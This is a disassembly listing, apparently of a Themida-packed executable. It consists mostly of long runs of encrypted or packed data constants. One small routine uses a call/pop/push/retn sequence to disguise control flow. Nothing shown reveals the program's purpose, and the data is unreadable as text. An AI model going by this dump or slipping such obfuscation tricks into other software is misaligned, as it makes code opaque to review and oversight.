9A0ABF00h, 23E934DEh, 8F000000h, 5D590BB1h dd 0CFF529C5h, 9CD18166h, 0FF9AE9EBh, 6348FFFFh, 0AA1FA414h dd 6DBAD566h, 0DD6BF4Eh, 92E9B20Dh, 96000000h, 47264F63h dd 0F3BAF5CCh, 0D666D138h, 979FABAFh, 0E37C4DB2h, 720095B7h dd 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h, 897D60D7h dd 8C9EA9BDh, 0E3729EBDh, 204A95ACh, 7E9BB98Bh, 0B99D8993h dd 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h, 3C33594Ah dd 4D520071h, 5EF357DBh, 0BBEFB600h, 0BD899Dh, 0B69F8995h dd 97BBEFh, 0C3B1B6D0h, 527155h, 0C20DA437h, 0E0910D3h dd 5 dup(0) dd 10F4E900h, 6B680000h, 0E906AE15h, 0FFFA6A3Eh, 0AE166768h dd 6A34E906h, 7D68FFFAh, 0E906AE17h, 0FFFA6A2Ah, 0AE18EA68h dd 6A20E906h, 8368FFFAh, 0E906AE19h, 0FFFA6A16h, 0AE1A2768h dd 6A0CE906h, 0B768FFFAh, 0E906AE1Ah, 0FFFA6A02h, 0AE1B8F68h dd 69F8E906h, 8668FFFAh, 0E906AE1Ch, 0FFFA69EEh, 0AE1D4668h dd 69E4E906h, 3168FFFAh, 0E906AE1Eh, 0FFFA69DAh, 0AE1FAD68h dd 69D0E906h, 2068FFFAh, 0E906AE22h, 0FFFA69C6h, 0AE232968h dd 69BCE906h, 5FFAFFFAh, 22F9016h, 3860C347h, 0E48A3571h dd 99BA65A1h, 0A8C956D4h, 684C96Ah, 6AB0FD9Dh, 0A4E2ABC9h dd 951158FBh, 79B1CB11h, 4BB605EBh, 5CFF260Dh, 74178815h dd 36C01FDCh, 0A7875F16h, 0C95D365Fh, 1EA8DE7Eh, 0AF588E1Ah dd 7DA2EB89h, 9871DA2Ch, 8682C462h, 7CAF588Eh, 719F45D3h dd 9DF781CBh, 0A25C1367h, 58912018h, 36A8E2AFh, 0D18924EDh dd 6FF93F28h, 0B6003B00h, 0A0EB8E6h, 0F8B6003Bh, 1C37D95Fh dd 5C6CEEh, 4D090D1Ah, 0F47C12FEh, 0EAA83FEh, 0DF37419Dh dd 0B4BE9F63h, 90DDB5Dh, 0A5B60039h, 0B3F711BFh, 91B60038h dd 189972A6h, 77B02E1Ah, 5DFEE114h, 257A9810h, 0CD000000h dd 0D80EB5E7h, 7C3151B2h, 4D32A3Ch, 86B1B600h, 4D5D119h dd 1AF1B600h, 0F8AD9999h, 0CB481477h, 0D3000000h, 0F09D5CFFh dd 8B57DCB5h, 0D6DFDB6Dh, 4781AF57h, 0AF57D743h, 9AD41601h dd 7AD4F0A6h, 88201993h, 1BAA0627h, 5C11325Bh, 370CC6D7h dd 40EDC651h, 0A8F5BCDFh, 891D54F7h, 58A1227Fh, 0ABE281AFh dd 0D891B41Fh, 0D962D25Bh, 0A9509B2Dh, 1932B600h, 219A3A8Dh dd 0A31D5F85h, 0AE1FD3BAh, 54EC7ABEh, 2EBCAAE0h, 58BBE105h dd 0F8317E3Bh, 34EEFB0h, 367B1C87h, 7FCBF592h, 27981BECh dd 0E6Ah, 6EBCF594h, 59EDA8C5h, 8F1B52F6h, 0FF4B0E24h dd 287E3354h, 63040EA3h, 1737982Eh, 0C163CC5Ah, 0F2913288h dd 6DFF6FBBh, 5EBDFDBh, 0B867A5B6h, 0ACDE5EFFh, 0AF57D76Ch dd 8604FD56h, 93377E1Dh, 0B21DC459h, 22764DE7h, 0B5E77358h dd 0D781B9C3h, 0E843AF57h, 42ADCBFFh, 5CC56A23h, 0FB2C7138h dd 66A2E402h, 5CAF57D7h, 4CA3A5F3h, 36B60005h, 4E56901Dh dd 6AB60005h, 26630FF0h, 9A9819F2h, 1477F8AEh, 0D549h dd 5CFFD200h, 76178815h, 0E3DC95B3h, 0DC63BCBEh, 1D40AF57h dd 8228D654h, 57DC4078h, 8F2902AFh, 96347D20h, 0DBDADE68h dd 42A8AF57h, 57DC0038h, 7069C2AFh, 52C24B38h, 408B3DE9h dd 2B5FFE4h, 8A2A9D29h, 846F9531h, 9A0BA8E1h, 3B6CB1F4h dd 0AF10D642h, 95BCAA82h, 82A30CBAh, 11E0612Eh, 8B64A0D5h dd 0BEF3943Fh, 8060670Ah, 0F94A69ECh, 0D6Eh, 62B8F198h dd 5DE9ACC1h, 8B1F56F2h, 0FB4F0A28h, 2C7A3758h, 5F0012A7h dd 0B2B9412h, 3D5FC046h, 0EE8D3674h, 61FB63A7h, 5ECE327h dd 0BC9BA1B6h, 0F7135EFFh, 6F54EF65h, 66B22C23h, 5910339Ch dd 215B2BADh, 0F3C3641Bh, 7BBDF092h, 0BBCD6B91h, 0AF582A7Fh dd 8AC36245h, 0AA1BF425h, 415AC78Eh, 5CFFCCD7h, 6F8FEFF4h dd 251E7F7Fh, 4D0427F8h, 7B3256F9h, 78822836h, 0AF586E40h dd 208F2902h, 0D297BC7Dh, 1CFCADF9h, 0C2F843F1h, 8451B8h dd 0E29033B6h, 0AC5ACEA7h, 0AD8AB569h, 0CA26FD7Fh, 876FF854h dd 9D269611h, 60E88669h, 8A7CE226h, 9E77A0ADh, 20AAD01Ah dd 1D372A47h, 193F5D81h, 3D8A04DEh, 0F2798F29h, 0D0B432BDh dd 0C3713A67h, 0C7614278h, 50BF748Eh, 80C5F1BFh, 0EDB8C228h dd 0D7BADD90h, 0D2A127B1h, 0E6C257D1h, 0DD2ADCDCh, 948DA6BAh dd 0B73AE476h, 0B0D52138h, 7211F278h, 0E248F3Bh, 0BC67ED4Bh dd 8328D099h, 5EE4D95h, 0C58DDA6h, 0E7820000h, 9AB718AEh dd 40E84BDFh, 7C12BD09h, 2142ED39h, 2051DE6Ch, 8E1C51F2h dd 0F2480525h, 2C7A3351h, 1DA9E083h, 0F1295389h, 0D3B605EDh dd 5CFFAE95h, 0D76AAED8h, 7758AF57h, 0CDA69FDAh, 0CE75A760h dd 7CBEE18h, 9EB9B600h, 0AEEB8768h, 9507800Ah, 7517F82Eh dd 0D476FC3Ch, 0BCA82275h, 0AAE7886Bh, 7A841405h, 8A8A4CD1h dd 26BCA822h, 0A653BA3Ch, 70D6E103h, 0D0E24338h, 1F8F96E4h dd 5B03h, 54FAE500h, 1D9B8C11h, 0EB5E716h, 1851F7D8h, 0C32C4A90h dd 0DB11E9A0h, 62EF9B58h, 87DC2A8Eh, 7DB600D9h, 0A9CB34D2h dd 3ABC5AE0h, 9FD3FFA3h, 0ABCD3ECEh, 76B0B6E2h, 2DB6011Fh dd 0E6A3CF0Eh, 537760B9h, 0FDFB7D19h, 0D058D2B9h, 238C6Ah dd 1C40EF49h, 7B77C855h, 5200000Bh, 0D80EB5E7h, 7D3051B2h dd 0B9C3E730h, 0AF57D781h, 8640E843h, 0B605EAD5h, 353865AFh dd 0EA084B26h, 44AFD5F1h, 2464A62Eh, 1EB605E5h, 53DC5C35h dd 624D7930h, 145D00CDh, 73A59E8Fh, 0CDE96389h, 6E008D50h dd 413A7717h, 6C2548D7h, 6DD646C7h, 91ED0FB9h, 55F3BCB4h dd 0B491F733h, 3662CDBCh, 18FB2F08h, 45EE3C75h, 2018A226h dd 0E2BCB492h, 4AD35049h, 13B551EAh, 0C35CAC48h, 0B4F9993Ah dd 0A3453E6Fh, 0E5CE00F2h, 0EB7EC7E4h, 1500000Ah, 44EF3B72h dd 73DC6A2Fh, 0A50E9CD5h, 0D57ECC89h, 26ADF9B4h, 93DE7F93h dd 0C78AAC17h, 0F5BCE043h, 266F0EB1h, 0A4E604E0h, 0B605EF64h dd 0A633185Eh, 0AF57D75Eh, 4C71F600h, 6ABE688h, 242CDD15h dd 7ADA6DCBh, 9EBA25C1h, 0D8869A36h, 2E078078h, 0B03A608Ah dd 46BA12BCh, 8543D5DBh, 0B606256Fh, 0E3CCFA55h, 0A9EC8140h dd 0EC3A1304h, 0C4692043h, 0BC6AD143h, 0B1E5DD3Ah, 6081317h dd 8C46F1B6h, 0A4F4D665h, 482D0CBEh, 3C17BCAEh, 7C64C38Ch dd 15EECDECh, 0A52h, 1694DD7Ch, 41C580ADh, 0B7F3BADEh dd 0E723660Ch, 0D0561B3Ch, 4BEC264Bh, 7F1F8006h, 294BF432h dd 0DA79DA60h, 55971793h, 5EFF733h, 0A08FCDB6h, 88155CFFh dd 94B57417h, 0D93AE0D9h, 0CBB8F0B5h, 7F7B24B3h, 12DFD283h dd 4F36Ah, 0B5E7BD00h, 60AED80Eh, 22B605EAh, 53F2DD09h dd 238C1Ah, 2262E449h, 0C4B605EAh, 3A5F3CB2h, 62B64427h dd 1ECC77A5h, 0F8304AF0h, 0ABB606A8h, 4E5FC48Dh, 0C30593BCh dd 0BCAED9E8h, 2C6F7CFEh, 0F677DFEFh, 99921F56h, 6DC608A0h dd 7B36EEBBh, 9273B0ECh, 9AEh, 0A2F8B1D8h, 9D296C01h, 0CB5F1632h dd 3B8FCA68h, 6CBAF798h, 1F40D2E7h, 0CB6BD452h, 0FD9F0086h dd 0AECD76B4h, 213BA3E7h, 5F1A3E7h, 0FC5B61B6h, 0E0130BAh dd 0FB50E471h, 0FF391257h, 0DF440D30h, 0C16E2746h, 71812289h dd 12DF1485h, 44B60h, 5EA6BB00h, 5DAF57D7h, 64A644FFh dd 0B605EA50h, 6BED1932h, 0FA8012D2h, 0D51F99C2h, 84024BEAh dd 0EC31781Bh, 0A7EE8D76h, 0BD06B671h, 5ADCFF09h, 8DA6BCAEh dd 7C52085Bh, 542D8EECh, 91Eh, 0D2682148h, 0D99DC71h, 7BCF86A2h dd 0ABFFBAD8h, 9C2A6708h, 8FB06217h, 0BBDB44C2h, 6D0FB0F6h dd 1E3DE624h, 914BD357h, 5F13377h, 6CCB11B6h, 0FE9D5CFFh dd 58316AB7h, 622B4ADBh, 0ACEC1E44h, 96AF57D6h, 0FE887BBDh dd 4E3A38F9h, 0A912DFD2h, 3B8h, 3559BA72h, 0EC2E3870h dd 0AFAF57D6h, 0F610B60Dh, 0B605E9E7h, 2E5472DDh, 5EA9C9Ch dd 6BCD66B6h, 0D77F1E81h, 73AD8AADh, 97C80275h, 84AEC7D3h dd 6DD6544Dh, 0F7EF66CEh, 9117026Fh, 4EF7BB8h, 0CD88A663h dd 0DA5E4FD4h, 0B9DCEF4Dh, 45E307F0h, 2375385Ah, 0AEDBCA25h dd 12339CBCh, 0B2FFBAD7h, 82238079h, 1506ABE2h dd 1852FC3Ch, 0AC22794h, 1A38A9E9h, 0E0D9D25Fh, 7BA96538h dd 3B8427ECh, 846h, 3A80C970h, 75B1F499h, 0A3E7AECAh, 93175200h dd 0C4420F30h, 0B7D83A7Fh, 6303ACFAh, 1537982Eh, 0C665CE5Ch dd 0B9A33B8Fh, 5F20B0Fh, 94B3F9B6h, 88155CFFh, 4F561852h dd 9E9A9E28h, 0CF68AF58h, 178E8837h, 0D77F1E81h, 0A264DDF6h dd 0DB5831F8h, 2F36FF54h, 3EA1450Ch, 79C35510h, 0DFC8E1DDh dd 70412h, 0DF1F0000h, 2C8h, 0EA1CBAFAh, 0AF57D6AEh, 0EB7DBB94h dd 0AF57D6B1h, 662B4CB7h, 0FF48E039h, 87CE6E5Dh, 0F228011Ah dd 5EA8C48h, 0F61076B6h, 0B605E9B2h, 18CEA790h, 49DD94B7h dd 0A10E47E6h, 0E787B418h, 0F61405AAh, 5EA5454h, 2C052EB6h dd 0F23650FEh, 0D0B605E9h, 8D2B3167h, 0B509D94Bh, 5E41713h dd 8842EDB6h, 8B3F36A0h, 6B73971h, 88200BB6h, 0AEBD1F7Eh dd 9FABE5BCh, 0DF96B6D1h, 88815952h, 8A3E17D6h, 0EC7C959Dh dd 4FBF00A3h, 79000007h, 0B01397DEh, 0DF40C683h, 9AAF0B9h dd 399A2065h, 4AD15518h, 74AEB27h, 337E2083h, 61284CF7h dd 92DB7A25h, 304A9014h, 0B605F2F8h, 0FFA78CCAh, 67F1155Ch dd 0C5A66BB8h, 5FF35415h, 742D9E1Ah, 941B98D1h, 0CC6F763Fh dd 0D7FA3E48h, 6FC8AF57h, 0E9CA3076h, 0A1EC8E4Fh, 0ED322B7Ch dd 60294BBCh, 0EA4EEAC3h, 12DFD7FEh, 0C19h, 59BA2200h dd 5D22763Fh, 1C4h, 0D765A678h, 0F626AF57h, 4DDE0DACh dd 1EF71168h, 0EF9D5EE8h, 4467B605h, 0D2CB6821h, 43E2CDF9h dd 6ABE282h, 0EE3C15h, 65B3FE9Fh, 4DD29BBAh, 37D368CCh dd 0ADF57A95h, 39EF48BCh, 0EC7CB848h, 8F98694Ah, 0B9000006h dd 0F053D79Eh, 1F800643h, 49EA3079h, 79DA6025h, 8A1195D8h dd 470A2BE7h, 733E60C3h, 0A1E88C37h, 0D29BBA65h, 0F00AD054h dd 0B605F3B8h, 0FFE74C8Ah, 67F1155Ch, 0ACEE1B70h, 7EED4B3Ah dd 800BAE0h, 0FAAF58B3h, 3FC69951h, 873FF8B4h, 0A6EF8E11h dd 0B7F29F00h, 0D194B96Ah, 4CD3B0F8h, 91723EE7h, 2576BBF2h dd 40092CF3h, 6652FAh, 198112DFh, 5B000000h, 0B98F8B3Dh dd 1775AF58h, 58B8B5F5h, 0CBA48FAFh, 0F1DF466Dh, 0FA000000h dd 57D765A6h, 0ABDD7BAFh, 0AF57D76Fh, 95953755h, 6FAF57D7h dd 0FA4DEBC4h, 83C5E15Ah, 0B605EAD2h, 41082B94h, 0D80E29D7h dd 0B6F214B2h, 0EDB605EAh, 8B9C014Ch, 0D758D07Bh, 16D775B4h dd 0DE433C79h, 0ED56D4CDh, 119A074Eh, 58E218A3h, 0BCADF145h dd 77F4143Fh, 99EC7CBBh, 5A4A91Ah, 0ABCE0000h, 56FBA4E2h dd 0C2C9713h, 305EC145h, 0ED8E3175h, 0DC9D1AA0h, 0C2581536h dd 3E8CC161h, 68BEF795h, 59EDA4C7h, 0ADED1FCDh, 97B605F4h dd 5CFFEA51h, 34528815h, 57D79692h, 55C36CAFh, 9D2FABCAh dd 0AF57D79Dh, 4ED3CC67h, 8DB013CBh, 36FF54C4h, 0ABCD0C2Fh dd 736CBDE2h, 48E6C937h, 2177A00Dh, 0DFD69975h, 77C12h dd 0DFC70000h, 20h, 155CFFFAh, 276E0EF1h, 0F29112F1h, 0D4591033h dd 0EE45EAC3h, 8EADB47Dh, 30C043C7h, 0DB000000h, 0FE9D5CFFh dd 58316AB7h, 0D71413DBh, 0ED8FAF57h, 88A67FA4h, 188D60CDh dd 892E1897h, 4B022128h, 0D3D7719Fh, 0B1AF57D6h, 4F062586h dd 0BA4463E9h, 20DF3230h, 708AE8EBh, 819297E4h, 179810FBh dd 37F03D74h, 7E883E85h, 0B606058Dh, 83CE7053h, 9A40EB15h dd 0D7531A39h, 6708C96Ch, 2A95312Ah, 0CFD84508h, 8331FA69h dd 58C58CB0h, 29619B4Fh, 1BB60605h, 5A34730h, 604C7C3h dd 692BDB6h, 2D4DB6DCh, 0E527C360h, 0B60605A5h, 5DDBB49Fh dd 0B419718Bh, 933553BCh, 0BCB41997h, 3DE9C26Dh, 0ACFAB3D2h dd 933B5D46h, 7CE72477h, 0F6221B81h, 7C8E0A29h, 0BCB46C3Ch dd 62A6E006h, 20BCB46Ch, 81251EF7h, 6BE9215Bh, 9ABABCB4h dd 8D5D4ED3h, 149576A2h, 5DEF1BA0h, 0C35C868Eh, 282DDB74h dd 6AE5CE27h, 428F849h, 37520000h, 0EA87287Eh, 90B81BAFh dd 4CE24DD9h, 7112BD09h, 5061EE3Ch, 5EECA1C2h, 821855F5h dd 0FC4A0321h, 2D793053h, 2119A3B9h, 0E3B605F6h, 5CFF7EA5h dd 0F2E9115h, 0C07AA046h, 0AF57D6C8h, 0A40791BAh, 8C1158FBh dd 0F23F7213h, 0D15E1731h, 7DFCA50Eh, 0F1F8B912h, 2F8F1B52h dd 12DFD633h, 0F67211F2h, 57E35454h, 2C052EAFh, 0F0029687h dd 3Eh, 4508298Ah, 4269CFD8h, 0D80EB5E7h, 2715AEh, 0A644EFB6h dd 0D0561F3Dh, 26F036h, 0D990B3B6h, 0CF79A74Dh, 0B60026CBh dd 951A9EB9h, 9071BEF7h, 382h, 2BF3E06Ah, 9D53FE63h, 0B5E7101Bh dd 38123AEFh, 0F3EC104Dh, 0A4AB5D7h, 1F38B600h, 0B3721192h dd 7F36529Fh, 17001986h, 0BE7F198Ah, 0B5FAD39Ah, 9C0148ECh dd 79F8B916h, 9CE0413Ah, 9D4D476h, 85AEB600h, 9B209413h dd 619BC16Fh, 0B6000A29h, 7126D11Bh, 80B6F154h, 98C70197h dd 6ABCA862h, 94BA25C1h, 0DD5B4CD1h, 3A60D477h, 0AD766408h dd 0B7534C76h, 50A3EA15h, 3456FCC3h, 0C350A3F4h, 92A9E4C6h dd 0FE009F71h, 0F33DC355h, 75A142B1h, 862B04D8h, 0EC317C1Dh dd 0D65B1E33h, 4BEC214Dh, 0F0802D06h, 14BB3AFBh, 45F7F6BFh dd 4FBEC8FEh, 35C9F842h, 14668C1Ah, 573B893Bh, 0EDB2E6E0h dd 4C9A074Eh, 268BCE63h, 59FCA3F5h, 0C66C8A10h, 0F80D8484h dd 43D57EC9h, 0CF6350C4h, 0D67C258Ah, 241D0E93h, 0CB719F4Bh dd 0B65BC881h, 17BF0920h, 0C9F7E413h, 0E7AECEF1h, 208861BAh dd 0A002B726h, 7DA28DD0h, 0A002B9FDh, 8944EAD0h, 60CDA6EFh dd 315E93BFh, 5FE2F74h, 2283E898h, 0FDA60D93h, 622F50B3h dd 0FE766236h, 40913397h, 0AA000000h, 0F53830BAh, 0E7BB5826h dd 1C46F6B1h, 2912B264h, 2BDFC8C5h, 567E91h, 46EB44B6h dd 568084h, 0DDC61CB6h, 7EAFF4B1h, 0D2E0413Ah, 1477A9E6h dd 2FFBAF29h, 4BFDAC7Bh, 0B12FEDh, 0FFF00000h, 1788155Ch dd 2DF63B76h, 49DA470Eh, 3547632Ah, 51A572B5h, 0C248E06Ah dd 5887E738h, 0D099BCAFh, 34AE94Ah, 4BF1D9Eh, 1550FDE6h dd 0BC2F5983h, 86B60097h, 0EAE19ADh, 0C2F711B5h, 0A4BCAB39h dd 0F253163Bh, 6E90185Dh, 9DBE21C5h, 48E94AD0h, 734CE305h dd 6142EC7Fh, 1B5E0h, 0F1B8DF00h, 20650AB5h, 561F399Ah dd 86C36FD0h, 0B3FE9F00h, 49C9E877h, 7E216528h, 0AA1591DCh dd 0DC47C38Ah, 32AAF0B9h, 0F99A9E28h, 2268B605h, 7730BA05h dd 524E70Ch, 99BA65B3h, 2EA856D4h, 784EFA10h, 0E910779h dd 1F80266Fh, 0BCED327Fh, 0E7A9967Ch, 0AED80EB5h, 0B600054Fh dd 6AEC1A35h, 471E7C60h, 0E142D6BCh, 311D19h, 0ADE886B6h dd 0B2FF9F00h, 0A90AA16Dh, 842D862Ah, 778C9A76h, 0BD7D14h dd 0FFC60000h, 1788155Ch, 74F63B76h, 0AF57DC1Bh, 13C58BCDh dd 4678ECB5h, 58740404h, 7C55FEAFh, 99D0733Ch, 0CA83A20Dh dd 0DC95B31Ch, 8E2EEF5Ch, 387117F8h, 58749A9Eh, 0D6CF68AFh dd 84639630h, 0F621B600h, 0DD004AB0h, 6879DFCh, 0A68517F7h dd 77D782Ch, 95A61691h, 2475BAF3h, 8E719F4Bh, 2E43A4E1h dd 0AF3BCD6Bh, 95BCAB0Eh, 82A30CBAh, 90B81BCFh, 4AF55FD9h dd 0A5446429h, 0EFEC7F9Dh, 0AC73CCh, 0B3D60000h, 6E03ACFAh dd 14349F2Bh, 0C866C95Dh, 0F596398Dh, 0D4E562B8h, 0CA501D3Eh dd 684C969h, 70B6FF9Dh, 0A1E5ACCFh, 0A5E527C5h, 9FB605FAh dd 5EFFF259h, 92C9713h, 0FFDDFA40h, 1788155Ch, 5EE93D74h dd 6703A4FEh, 532FC473h dd 261F56F2h, 0D1204680h, 49E2B606h, 0D9183BE4h, 91DC7EBFh dd 0FD221B0Ch, 50193BACh, 0DD802367h, 5A33761Ch, 185915D5h dd 8378D6E8h, 31781B22h, 0A7E10FF5h, 0D6E81863h, 95D07E21h dd 90B37CBCh, 0A7CB54D9h, 11BABDE2h, 0A3EA8990h, 0D099BC67h dd 61A9A02Ah, 87DAF8A9h, 3D1B211h, 0F4000000h, 58FFCBB0h dd 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh, 0D4752E73h dd 0E78B1499h, 84A47DA2h, 92BF60CDh, 56FA4AD7h, 0C681E689h dd 4, 5604EE83h, 42474FFh, 24048F5Eh, 0E089505Ch, 405h dd 42D00h, 4870000h, 4895C24h, 59356824h, 1C890000h, 4EC8324h dd 0BD242C89h, 6AE1405h, 685DE889h, 2BCEh, 81242489h, 42404h dd 565B0000h, 73895E50h, 34FF5E08h, 0C4835B24h, 2434FF04h dd 4C48358h, 0FA595DE9h, 9FEE9BFFh, 0A7CBA145h, 0FAB84647h dd 306AE23h, 0BFE0FFC5h, 1279459h, 0FF6A7117h, 5B2A8463h dd 0FE5DE48Dh, 4161D694h, 3171D532h, 745A086Dh, 0A8476D58h dd 894DF4BDh, 7F0F5EB8h, 4250D14Bh, 9E292B14h, 778E121h dd 3E758254h, 0AF6B6AD0h, 0FF63B59Ch, 39035319h, 557548EFh dd 0D2132E11h, 0F470D6CAh, 4245489Bh, 357D50D7h, 7056E58Ah dd 5A64DEC8h, 5F59D9D3h, 0E96F3E58h, 0Fh, 7A2D6448h, 2 dup(0) dd 0E9000000h, 588h, 92286108h, 0CD591C31h, 3B8FC662h dd 6BBFFA98h, 5CEAA7C8h, 0CF70A2D7h, 0FB9B0482h, 0ADCF70B6h dd 5EFDA6E4h, 0D10B9317h, 5FB73B7h, 2C0B51B6h, 0E38B30BAh dd 8235F3CBh, 0A3EA8916h, 57FB9C07h, 0C06742F7h, 32665F6Bh dd 0E2AFD051h, 1158FBA4h, 0CF6D568Ch, 0EA881986h, 302902AFh dd 5D1437F8h, 67224FD0h, 0A7E32543h, 9DAF5882h, 1C8566B2h dd 39EA377Ah, 0B7C9561Fh, 0C66C733Ch, 140D1E83h, 848B1481h dd 0B112A8E1h, 0B5F51793h, 0EEAF5882h, 6AC50540h, 0EA8A3571h dd 85A57EA3h, 97B112C8h, 66E95ADEh, 0BFDDE44Dh, 6C0FB0F6h dd 701E8125h, 0C600E335h, 0AF5882BFh, 0A00D44E4h, 0FC9E53FFh dd 255BD8B1h, 5B7E54Eh, 83E757Ch, 0D6AE4DDh, 0D8BA96A4h dd 575D12DFh, 0E6000000h, 88155CFFh, 57D7484Eh, 773A5BAFh dd 92DB792Ah, 0B486FD0Dh, 2A778BF4h, 291128Bh, 0B0C26348h dd 12DF49C4h, 123h, 52FF0400h, 6E10F317h, 0BADFE23h, 2F6A0798h dd 850D2182h, 57D74743h, 39123DAFh, 3AC19F4h, 0F41257FCh dd 0F4246D0Bh, 0CF86A50Eh, 5EFF5C7Bh, 78158E13h, 8431F03Dh dd 3E73141Bh, 6D2447E8h, 95053FB9h, 0B3002475h, 6C63EE3Bh dd 0DD5B3CBCh, 0DA93B56Eh, 0E5ACCC55h, 0A47E7B8h, 0D45DCEA5h dd 0AF70DB45h, 0DF0E47A3h, 6F4612h, 0FFD90000h, 508E135Eh dd 1E83CE6Fh, 6404AB0Dh, 0C92D802Dh, 0D72119A3h, 0C0E3AF57h dd 0BEFAD39Eh, 34555CC5h, 0E1822D79h, 0F09E07ACh, 91B768B5h dd 0AACA5BD8h, 0A10ABEE3h, 442F7100h, 0A2E91DBh, 98C8DAA2h dd 0D8B15322h, 1718C450h, 5A3F12DFh, 0 dd 0F69B5EFFh, 0D6CCCC7Eh, 9DB6AF57h, 352E7FA4h, 5C1537E8h dd 69CAA1D7h, 3E8CC162h, 1752FF11h, 0EB6310F3h, 57D75951h dd 17002BAFh, 0DDD82281h, 0C6AF57D6h, 0DB44E9A4h, 0C4AFF4BDh dd 0ABC7CE57h, 7E7DF5EEh, 0FA61EBB5h, 4F8378EBh, 26128612h dd 0C112DF11h, 1, 0DD59FF5Ah, 57D76FABh, 1FA55AFh, 2960039Ch dd 0C7684584h, 0ED2D5F85h, 0D7AF57D6h, 0D5733C7Ch, 1FBD0E9Ch dd 65C406A4h, 5FB5FFE3h, 50B3AFF4h, 6B34642Dh, 7A6581C8h dd 0BC0692DBh, 8D397013h, 9F4B0222h, 0FFE32D6Dh, 0FC3C17B5h dd 0E2C9CF0Fh, 0BE35B5FFh, 8E4FEEF5h, 79CDA6EFh, 0B1FEB7D6h dd 0E6044DF0h, 0E30A0EB8h, 5FF8B5FFh, 7FA76AD9h, 79BFF294h dd 7B1A2182h, 0C06E9432h, 0FFE38286h, 2FD740B5h, 0B5FFE2EBh dd 600D7ED9h, 0AD09F325h, 1477DAB1h, 16754h, 0A3C52E00h dd 0E7654EEAh, 0AED80EB5h, 0B6000723h, 0BDC5D7E1h, 7DF78B5h dd 0F97279CFh, 120BF66Ch, 0C16E518Dh, 0AA0E1F84h, 8BA76605h dd 0AB51D5CEh, 0D691A821h, 296FD07h, 6AB7FE9Dh, 37D39AB9h dd 0F03B7F89h, 2E09B5FFh, 3D96198Ah, 87CE6D74h, 0CFBFAB03h dd 565E1477h, 0E1000000h, 0AFEAB6E7h, 0F39BAFD5h, 63A5413Ah dd 2F57FA07h, 0F4B9DAFDh, 5454961Bh, 4F2F57FAh, 68396623h dd 0DE218ECBh, 26602CF5h, 2F57F9E2h, 389E77A0h, 3E7711F2h dd 81A001FAh, 0D7719510h, 0AF57F9B3h, 0FA60A691h, 0EF347919h dd 0D4591436h, 0C14EEAC3h, 0B8h, 0EA1CBAE4h, 0AF57D6AEh dd 0AA7DBB94h, 0CECA7C0Ah, 0B4AF57D6h, 9B04A29Bh, 0F278B0F9h dd 8C96B54h, 0D2332C65h, 66B7FCB1h, 0A593432h, 2BB600h dd 2A6302A3h, 0AC697AFCh, 596D19E9h, 5A944B05h, 0FB3D879Eh dd 3B4DEB11h, 0B60065FFh, 2565A7C5h, 1FB60066h, 52DD5B34h dd 35357A33h, 0B60066F0h, 0C7CE575Ch, 0CB1A0CA4h, 8FACF058h dd 0EE8F7096h, 3C8F75A3h, 1C872398h, 0BCED3277h, 3354F67Ch dd 35BCAE65h, 9D2FABCAh, 0BCAE659Dh, 45D3CC67h, 921390BBh dd 0CA0CBAF3h, 0A0298629h, 0AF93FA7h, 2645EEC7h, 6F994DF6h dd 0C35C6B0Ah, 0F8B1D7F8h, 144EABBh, 0CCEB3F28h, 0D80EB5E7h dd 901D54F7h, 0ADCB1187h, 7B72FB2Bh, 3BEF8F50h, 585E8981h dd 58D07BAFh, 683698Eh, 0F3947FB6h, 82D1C973h, 98B3B606h dd 511C3EAFh, 0B35DDBCCh, 82F73355h, 83CDB606h, 0FFB461C6h dd 0CCA59EE9h, 0D69FBE67h, 54CEF50h, 520E5E98h, 47A73289h dd 2771385Ch, 0B9DCE34Ch, 3575973Dh, 0F328952h, 529E9A24h dd 0CB643289h, 48EB54D2h, 0CDA6EF89h, 0D693BF60h, 842D8649h dd 7D1FDE7Dh, 64CF5B34h, 5A2B88C1h, 11h, 0C230BA7Dh, 0F3BAD9DEh dd 64657DAEh, 0B5A5F3ACh, 1158FFCEh, 3970138Ch, 40092BF4h dd 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh dd 0D792BF60h, 3B68FA4Ah, 89000049h, 8956241Ch, 4C681E6h dd 81000000h, 4EEh, 24348700h, 2404895Ch, 81E38953h, 4C3h dd 4EB8300h, 5C241C87h, 56241C89h, 223903BEh, 0D6EE813Eh dd 8169522Ah, 2E326DF6h, 0F9C6811Ah, 8168A86Ah, 0F88242EEh dd 8BF08930h, 0C4812434h, 4, 241C8B54h, 4C481h, 50560000h dd 0CE242C81h, 5E3D4842h, 42CEC681h, 73893D48h, 1C8B5E08h dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 5724048Bh dd 0C781E789h, 4, 4C781h, 3C870000h, 43E95C24h, 0D7FFFA53h dd 0AE29D5B8h, 0FFC50306h, 182294E0h, 56A7D22Ch, 11127D3Ah dd 0EA6CFC15h, 0C51DB062h, 664B0274h, 0F5CD325Dh, 3FC6494Eh dd 8A1C6854h, 80DCAD68h, 0E03D1D62h, 0C4A8D875h, 8F4B8A09h dd 2A72E521h, 8A64AC1Ah, 39863B0Fh, 0C7131936h, 2430D44Bh dd 0D7AA9F14h, 5D9D2B68h, 5911CB17h, 0DFEB5109h, 0F0DE520Eh dd 4F25CA0Bh, 5B590E47h, 49E44735h, 0A98D8D66h, 8006AE2Bh dd 9D89D5DBh, 6A825EDh, 5B98D89h, 6A06A8h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 1CB6B0C3h dd 8B66E4F5h, 0C1BD29C6h, 8106A82Dh, 458585DFh, 6985C764h dd 0D806A814h, 6A000064h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 2569C351h, 85C7A93Fh dd 6A80BBDh, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5AC57F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AC57F proc near ; CODE XREF: Themida_:005AC577p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5AC57F endp ; --------------------------------------------------------------------------- db 0CDh dd 7612DD7Dh, 0FDB5FFF9h, 0B306A805h, 0DD95FF3Bh, 0E906A820h dd 7, 0C63B633Dh, 6A9FF97Fh, 3195FF00h, 8B06A81Bh, 7AEBC0h dd 0A70EEAA6h, 0AABD9910h, 